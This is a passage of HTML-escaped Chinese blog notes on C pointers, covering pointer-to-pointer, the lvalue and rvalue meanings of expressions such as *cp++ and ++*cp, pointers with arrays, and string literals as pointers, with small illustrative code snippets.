class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e请问这个例子合法吗?合法。因为数组名对应的值就是数组首元素的\u003cstrong\u003e地址\u003c/strong\u003e。这里a中存储的就是第一个数的地址,所以其用法和数组的用法是一致的。\u003c/p\u003e\u003ch2 id=\"指针的指针\"\u003e\u003ca href=\"https://xeonds.github.io/2021/08/13/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/C%E8%AF%AD%E8%A8%80%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%EF%BC%9A%E6%8C%87%E9%92%88/#%E6%8C%87%E9%92%88%E7%9A%84%E6%8C%87%E9%92%88\" class=\"headerlink\" title=\"指针的指针\"\u003e\u003c/a\u003e指针的指针\u003c/h2\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e a=\u003cspan class=\"number\"\u003e12\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e *b=\u0026amp;a;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e **c=\u0026amp;b;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e那么这里的\u003ccode\u003ec\u003c/code\u003e是什么?\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e指向指针的指针\u003c/strong\u003e。\u003c/p\u003e\u003cp\u003e其中,\u003ccode\u003e*c\u003c/code\u003e表示\u003ccode\u003ec\u003c/code\u003e所指向的位置,也就是\u003ccode\u003eb\u003c/code\u003e。也就是说,\u003ccode\u003e**c==*b,*b==a;\u003c/code\u003e。\u003c/p\u003e\u003ch2 id=\"指针表达式\"\u003e\u003ca href=\"https://xeonds.github.io/2021/08/13/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/C%E8%AF%AD%E8%A8%80%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%EF%BC%9A%E6%8C%87%E9%92%88/#%E6%8C%87%E9%92%88%E8%A1%A8%E8%BE%BE%E5%BC%8F\" class=\"headerlink\" title=\"指针表达式\"\u003e\u003c/a\u003e指针表达式\u003c/h2\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e ch=\u003cspan class=\"string\"\u003e\u0026#39;a\u0026#39;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e *cp = \u0026amp;ch;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e现在,我们有了两个变量。接下来,我们会以它为基础,讨论一些指针表达式。\u003c/p\u003e\u003cp\u003e先来个简单的:\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003ech\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e它可以当右值使用,此时表示\u003ccode\u003ech\u003c/code\u003e中的值。\u003cstrong\u003e但是当它作为左值使用时,它表示的是\u003ccode\u003ech\u003c/code\u003e的地址\u003c/strong\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u0026amp;ch\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e它表示\u003ccode\u003ech\u003c/code\u003e的地址,这个值和\u003ccode\u003ecp\u003c/code\u003e的值一样。它可以作为右值使用,但不能作为左值。因为它是一个数值,并没有指明一个计算机的内存地址。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003ecp\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e它的右值就是\u003ccode\u003ecp\u003c/code\u003e的值,左值就是\u003ccode\u003ecp\u003c/code\u003e所处的内存位置。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u0026amp;cp\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e和第二个一样,可以作为右值,而不能作为左值。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e*cp\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e作为右值时指\u003ccode\u003ech\u003c/code\u003e处存储的值,作为左值时表示\u003ccode\u003ech\u003c/code\u003e的内存位置。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e*cp+\u003cspan class=\"number\"\u003e1\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e等价于\u003ccode\u003e(*cp)+1\u003c/code\u003e。即把\u003ccode\u003ecp\u003c/code\u003e的值再加一。既然是值,那么就只能作为右值使用。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e*(cp+\u003cspan class=\"number\"\u003e1\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e作为右值时,表示在\u003ccode\u003ecp+[一个该存储单元长度]\u003c/code\u003e处存储的值;作为左值使用时,表示\u003ccode\u003ecp\u003c/code\u003e的下一个存储单元的地址。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e++cp\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e表示\u003ccode\u003ecp\u003c/code\u003e的下一个位置的内存地址的值。因此不能作为左值使用,只能作为右值使用。但是注意,\u003ccode\u003e++\u003c/code\u003e操作符的前缀形式表示\u003cstrong\u003e将\u003ccode\u003ecp\u003c/code\u003e增值后再拷贝一份,并作为返回值\u003c/strong\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003ecp++\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e表示\u003ccode\u003ecp\u003c/code\u003e的下一个位置的内存地址的值。同样不能作为左值使用。但是注意,\u003ccode\u003e++\u003c/code\u003e的后缀形式表示\u003cstrong\u003e先拷贝一份\u003ccode\u003ecp\u003c/code\u003e并作为返回值,然后再将\u003ccode\u003ecp\u003c/code\u003e增值\u003c/strong\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e*++cp\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e作为右值时,它表示\u003ccode\u003ecp\u003c/code\u003e的下一个内存地址的值;作为左值时,它表示\u003ccode\u003ecp\u003c/code\u003e的下一个内存地址。这里注意下,\u003ccode\u003e++\u003c/code\u003e的前缀形式和\u003ccode\u003e*\u003c/code\u003e都是右结合的。这里因为++离得近所以先自增再间接访问。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e*cp++\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e作为右值时,它表示\u003ccode\u003ecp\u003c/code\u003e的内存地址的值;作为左值时,它表示\u003ccode\u003ecp\u003c/code\u003e的内存地址。注意,此处\u003ccode\u003e++\u003c/code\u003e的优先级是高于\u003ccode\u003e*\u003c/code\u003e的。但是因为前面说过的:\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e但是注意,\u003ccode\u003e++\u003c/code\u003e的后缀形式表示\u003cstrong\u003e先拷贝一份\u003ccode\u003ecp\u003c/code\u003e并作为返回值,然后再将\u003ccode\u003ecp\u003c/code\u003e增值\u003c/strong\u003e。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e所以,\u003ccode\u003ecp\u003c/code\u003e的值实际上已经自增了。之所以还表示\u003ccode\u003ech\u003c/code\u003e处的地址/地址的值,是因为**\u003ccode\u003e++\u003c/code\u003e返回原值的拷贝再将\u003ccode\u003ecp\u003c/code\u003e自增**。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e++*cp\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e看了上面的例子,你应该很清楚了:它表示将\u003ccode\u003ech\u003c/code\u003e处的值自增,并返回该值的拷贝。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e(*cp)++\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e表示将\u003ccode\u003ecp\u003c/code\u003e处的值拷贝一份再返回,再自增\u003ccode\u003ecp\u003c/code\u003e处的值。所以只能作为右值使用。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e++*++cp\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e表示将\u003ccode\u003ecp\u003c/code\u003e的值(也就是\u003ccode\u003ech\u003c/code\u003e的地址)自增并返回一份拷贝(即\u003ccode\u003ech\u003c/code\u003e的下一个内存地址的指针),再对这份拷贝进行间接访问操作,再对此处(\u003ccode\u003ech\u003c/code\u003e的下一个内存地址处)存储的值自增并返回一份拷贝。同样,因为是值,所以只能作为右值。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e++*cp++\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e此处注意,\u003ccode\u003e++\u003c/code\u003e后缀形式的优先级较高,因此先返回\u003ccode\u003ecp\u003c/code\u003e的值再将cp自增,\u003ccode\u003e*\u003c/code\u003e得到\u003ccode\u003e++\u003c/code\u003e返回的\u003ccode\u003ecp\u003c/code\u003e的值(即\u003ccode\u003ech\u003c/code\u003e),并对其进行间接访问,再由前缀的\u003ccode\u003e++\u003c/code\u003e将\u003ccode\u003ech\u003c/code\u003e处的值自增,并返回一份拷贝。\u003c/p\u003e\u003cp\u003e弄清了这些,对于指针的操作应该就熟悉了。\u003c/p\u003e\u003ch2 id=\"指针和数组\"\u003e\u003ca href=\"https://xeonds.github.io/2021/08/13/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/C%E8%AF%AD%E8%A8%80%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%EF%BC%9A%E6%8C%87%E9%92%88/#%E6%8C%87%E9%92%88%E5%92%8C%E6%95%B0%E7%BB%84\" class=\"headerlink\" title=\"指针和数组\"\u003e\u003c/a\u003e指针和数组\u003c/h2\u003e\u003cp\u003e首先声明一个数组。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"built_in\"\u003earray\u003c/span\u003e[\u003cspan class=\"number\"\u003e32\u003c/span\u003e];\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e\u003ccode\u003earray\u003c/code\u003e表示指向首元素的指针。所以这两种形式等价:\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\u0026#34;\u003c/span\u003e,\u003cspan class=\"built_in\"\u003earray\u003c/span\u003e[\u003cspan class=\"number\"\u003e15\u003c/span\u003e]==*(\u003cspan class=\"built_in\"\u003earray\u003c/span\u003e+(\u003cspan class=\"number\"\u003e15\u003c/span\u003e))); \u003cspan class=\"comment\"\u003e//输出1\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e多元数组同样,只需要反复嵌套即可。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e这里注意,对于数组的下标,由于C实现下标的方法,实际上有两种合法形式:\u003ccode\u003earray[1]\u003c/code\u003e和\u003ccode\u003e1[array]\u003c/code\u003e都是合法的。\u003cbr/\u003e但是很显然,后一种的可读性极差,违反直觉。所以不应被使用。\u003c/p\u003e\u003cp\u003e同样,函数声明也有一种旧式的K\u0026amp;R风格:\u003ccode\u003eint func(a,b,c)int a;char b;float c;\u003c/code\u003e。它的使用也应避免:参数传递之前,\u003ccode\u003echar\u003c/code\u003e和\u003ccode\u003eshort\u003c/code\u003e类型会被提升成\u003ccode\u003eint\u003c/code\u003e类型,\u003ccode\u003efloat\u003c/code\u003e会被提升为\u003ccode\u003edouble\u003c/code\u003e类型。这称作\u003cstrong\u003e缺省参数提升\u003c/strong\u003e。所以应尽量避免使用这种风格的声明。\u003c/p\u003e\u003c/blockquote\u003e\u003ch3 id=\"指向数组的指针\"\u003e\u003ca href=\"https://xeonds.github.io/2021/08/13/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/C%E8%AF%AD%E8%A8%80%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%EF%BC%9A%E6%8C%87%E9%92%88/#%E6%8C%87%E5%90%91%E6%95%B0%E7%BB%84%E7%9A%84%E6%8C%87%E9%92%88\" class=\"headerlink\" title=\"指向数组的指针\"\u003e\u003c/a\u003e指向数组的指针\u003c/h3\u003e\u003cp\u003e先看这个语句:\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e matrix[\u003cspan class=\"number\"\u003e3\u003c/span\u003e][\u003cspan class=\"number\"\u003e10\u003c/span\u003e], *mp=matrix;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e这是错误的。因为\u003ccode\u003ematrix\u003c/code\u003e是指向整型数组的指针。要声明这样的指针,需要加上下标:\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e (*p)[\u003cspan class=\"number\"\u003e10\u003c/span\u003e] = matrix;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e它指向\u003ccode\u003ematrix\u003c/code\u003e的第一个整型数组。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e此处注意优先级:\u003cstrong\u003e下标引用高于间接访问\u003c/strong\u003e。但是因为加了括号,所以实际还是间接访问先执行。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e如果需要一个指针逐个访问整型元素,则可以这样:\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e *pi = \u0026amp;matrix[\u003cspan class=\"number\"\u003e0\u003c/span\u003e][\u003cspan class=\"number\"\u003e0\u003c/span\u003e];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e *pi = matrix[\u003cspan class=\"number\"\u003e0\u003c/span\u003e]; \u003cspan class=\"comment\"\u003e//等价形式\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e此时,\u003ccode\u003epi++\u003c/code\u003e会使它指向下一个整型元素。\u003c/p\u003e\u003ch3 id=\"指针数组\"\u003e\u003ca href=\"https://xeonds.github.io/2021/08/13/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/C%E8%AF%AD%E8%A8%80%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%EF%BC%9A%E6%8C%87%E9%92%88/#%E6%8C%87%E9%92%88%E6%95%B0%E7%BB%84\" class=\"headerlink\" title=\"指针数组\"\u003e\u003c/a\u003e指针数组\u003c/h3\u003e\u003cp\u003e看这个声明:\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e* api[\u003cspan class=\"number\"\u003e10\u003c/span\u003e];\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e它表示一个数组,它的每个元素都是指针:指向整型的指针。这个可以根据前面的优先级顺序推导出来。\u003c/p\u003e\u003ch2 id=\"指针和字符串常量\"\u003e\u003ca href=\"https://xeonds.github.io/2021/08/13/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/C%E8%AF%AD%E8%A8%80%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%EF%BC%9A%E6%8C%87%E9%92%88/#%E6%8C%87%E9%92%88%E5%92%8C%E5%AD%97%E7%AC%A6%E4%B8%B2%E5%B8%B8%E9%87%8F\" class=\"headerlink\" title=\"指针和字符串常量\"\u003e\u003c/a\u003e指针和字符串常量\u003c/h2\u003e\u003cp\u003e一个字符串常量的值是什么?是一个\u003cstrong\u003e指针常量\u003c/strong\u003e,一个\u003cstrong\u003e指向它第一个字符\u003c/strong\u003e的指针常量。为什么是常量呢?因为它的(偏移)地址是编译时编译器指定的。\u003cbr/\u003e下面来看几个似乎有点离谱的……表达式?\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"string\"\u003e\u0026#34;xyz\u0026#34;\u003c/span\u003e+\u003cspan class=\"number\"\u003e1\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e看起来似乎没有意义?但结合前面所说,我们可以推知,这是一个指向它本身第二个字符的指针。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e*\u003cspan class=\"string\"\u003e\u0026#34;xyz\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e对这个指向第一个字符x的指针,执行间接访问,结果是什么?就是它指向的字符\u003ccode\u003e\u0026#39;x\u0026#39;\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"string\"\u003e\u0026#34;xyz\u0026#34;\u003c/span\u003e[\u003cspan class=\"number\"\u003e2\u003c/span\u003e]\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e这表示字符\u003ccode\u003e\u0026#39;z\u0026#39;\u003c/code\u003e。\u003cbr/\u003e但是这技巧有什么用呢?看看这个:\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd 